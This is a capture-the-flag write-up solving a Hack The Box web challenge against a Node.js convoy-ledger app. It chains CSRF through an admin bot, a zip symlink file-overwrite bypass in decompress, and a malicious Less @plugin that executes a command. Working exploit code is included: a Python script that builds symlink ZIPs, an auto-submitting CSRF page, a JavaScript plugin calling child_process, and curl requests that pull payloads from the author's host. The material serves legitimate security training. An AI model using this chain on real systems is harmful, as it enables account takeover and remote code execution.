Author: zerodaygym
Description
House Veyr & Co. runs the convoy ledger the whole coast trusts — what’s safe, what’s late, which ports are worth the risk. It’s a weapon. Quietly, with no armies, Veyr cooks the numbers: stalling Damas Marrowcairn’s cargo, leaking his routes, clearing its own convoys first, until the coast writes him off as a man nobody wants to ship with. Break into the ledger, trace the false delays, and dig out the one convoy Veyr buried deep — the shipment that proves it all.
Flag: HTB{wh4t_th3_l3dg3r_cl34rs_th3_c04st_b3l13v3s_f8778fcf4df87caa5131b2421d8ae2f2}
TL;DR
Endpoint /report has no auth, that lets you send a URL to a bot with a warden JWT cookie. You can CSRF the bot into calling /api/fetch which downloads and extracts a ZIP. Zip Slip vulnerability is patched in decompress@4.2.1, but by abusing symlinks we can bypass it. Abusing this symlink bypass, we can forge a fake db.json which changes admin's password and we can login to the site as administrator. As admin we can use /ledgermaster/render with a Less @plugin pointing to another JS file uploaded abusing the same symlink vulnerability that runs /readflag, and lets us access it at /flag.txt.
Solution
We are given a Node.js web application that acts as a convoy ledger system. Upon registering, your account is created but you can’t log in until the “Ledgermaster” (admin) approves you. So right away we need to find a way to either become verified or bypass the verification check.
Looking at the routes, there is a /report endpoint that doesn’t require any authentication:
// routes/pages.js
router.post('/report', pages.submitSupport);The report endpoint lets anyone submit a URL, and a bot will visit it:
// controllers/pageController.js
exports.submitSupport = (req, res) => {
const { body, url } = req.body;
if (!body) return res.render('petition', { error: '...' });
if (url) {
if (!url.startsWith('http://') && !url.startsWith('https://')) { ... }
bot.visit(url);
}
res.render('petition', { success: "Your report has been filed..." });
};The bot visits the URL with a warden role JWT cookie. The bot’s Chrome is launched with SameSite protections disabled, so we can do CSRF attacks.
Now, what can the bot do? There is an /api/fetch endpoint that downloads a ZIP from a URL and extracts it:
// controllers/apiController.js
exports.uploadUrl = async (req, res) => {
const { url } = req.body;
// ...
const extractDir = uploadService.getUrlExtractDir(req.caller.drawsId);
await uploadService.downloadAndExtract(url, extractDir);
res.json({ data: 'Mirror station bundle fetched and lodged' });
};The extraction uses download@8.0.0 which internally uses decompress@4.2.1. At first I tried a classic Zip Slip with path traversal:
../../../../app/data/db.json
But decompress@4.2.1 has CVE-2020-12265 patched and blocks it:
Refusing to create a directory outside the output path.
I found that decompress@4.2.1 has an unpatched vulnerability - CVE-2026-10732 (symlink bypass). The idea: create a ZIP with two entries at the same safe path. First entry is a symlink pointing to the target file, second entry is the actual file content. The containment check sees the safe path and passes, but the write follows the symlink and overwrites the target.
I wrote a small script to generate these symlink ZIPs (DeepSeek helped ;D):
import zipfile, sys
SYMLINK = 0o120777 << 16
REGULAR = 0o100644 << 16
payload = open(sys.argv[1], 'rb').read()
out = sys.argv[2]
target = sys.argv[3]
name = sys.argv[4]
with zipfile.ZipFile(out, 'w', zipfile.ZIP_DEFLATED) as z:
sl = zipfile.ZipInfo(name)
sl.create_system = 3
sl.external_attr = SYMLINK
z.writestr(sl, target)
fl = zipfile.ZipInfo(name)
fl.create_system = 3
fl.external_attr = REGULAR
z.writestr(fl, payload)The symlink mode creates a ZIP like this:
The first x/p.json entry is a symlink to /app/data/db.json, the second x/p.json entry is our malicious db.json.
Now I needed a db.json with known passwords. I encrypted the string admin123 using bcrypt and replaced the hash for the admin user and the bot user with my one, so that I can login as both users and both roles:
Note: because the server only uses
bcryptand doesn’t use any additional dynamically generated key/secret, we only need to encrypt the hash withbcrypt. If it was using something more, it would not be possible as we wouldn’t have the key/secret.
{
"users": [
{
"username": "admin",
"password": "$2b$10$...",
"role": "ledgermaster",
"verified": true,
"apiKey": null,
"drawsId": null
},
{
"username": "bot",
"password": "$2b$10$...",
"role": "warden",
"verified": true,
"apiKey": "aaaaaaaa",
"drawsId": null
}
],
"convoys": []
}Then I built the ZIP:
python3 zip.py db.json poc.zip /app/data/db.json x/db.jsonFor the CSRF, I hosted an HTML page on my server that auto-submits a form to /api/fetch with the URL of the malicious ZIP:
<html>
<body>
<form action="http://127.0.0.1:1337/api/fetch" method="POST">
<input type="hidden" name="url" value="http://poc.0dg.dev/poc1.zip" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>The bot visits my CSRF page, the form auto-submits to /api/fetch with the warden’s cookie, downloads my malicious ZIP, the symlink bypass overwrites /app/data/db.json, and now logging in as admin:admin123 works!
After logging in as admin, I looked at what admin-only routes exist. Found /ledgermaster/render:
exports.setCertificationTemplate = async (req, res) => {
const { css } = req.body;
// ...
await less.render(css, { plugins: [templateSecurityPlugin] });
res.json({ data: 'Seal cast' });
};It takes a css parameter and passes it to less.render(). The templateSecurityPlugin only blocks remote URL imports, but local file paths work fine.
Less has a feature called @plugin which lets you load JavaScript plugins. The first line of the CSS can be:
@plugin "/tmp/evil.js";So I needed to write a malicious .js file to the server. I used the exact same symlink bypass technique, but this time I wrote a malicious plugin that reads the flag and writes it to a folder which I can access through the web:
module.exports = {
install: function() {
try {
var fs = require('fs');
var cp = require('child_process');
var flag = cp.execSync('/readflag', {timeout: 5000});
fs.writeFileSync('/tmp/flag.txt', flag);
fs.writeFileSync('/app/public/flag.txt', flag);
} catch(e) {
}
}
};Built another ZIP:
python3 zip.py evil.js evil.zip /tmp/evil.js x/evil.jsThen using admin's cookies I downloaded the malicious plugin and loaded it:
# Write evil.js to /tmp/evil.js
curl -X POST http://target/api/fetch \
-H "Cookie: token=$ADMIN_TOKEN" \
-d "url=https://poc.0dg.dev/evil.zip"
# Load it via @plugin
curl -X POST http://target/ledgermaster/render \
-H "Content-Type: application/json" \
-H "Cookie: token=$ADMIN_TOKEN" \
-d '{"css":"@plugin \"/tmp/evil.js\";"}'The plugin executes, /readflag runs, and the flag is written to /app/public/flag.txt - which is served as a static file:
GET /flag.txt
HTB{wh4t_th3_l3dg3r_cl34rs_th3_c04st_b3l13v3s_f8778fcf4df87caa5131b2421d8ae2f2}
This challenge was really fun, but in my opinion, I would rate it as hard and not as medium. The CTFs are becoming increasingly more difficult because of agentic AIs solving CTF challenges in minutes or even seconds, while for humans they would take hours or sometimes even days to solve. I still try to solve everything with as minimal AI usage as possible (and entirely without agentic AIs), just so I can learn and improve my own critical thinking.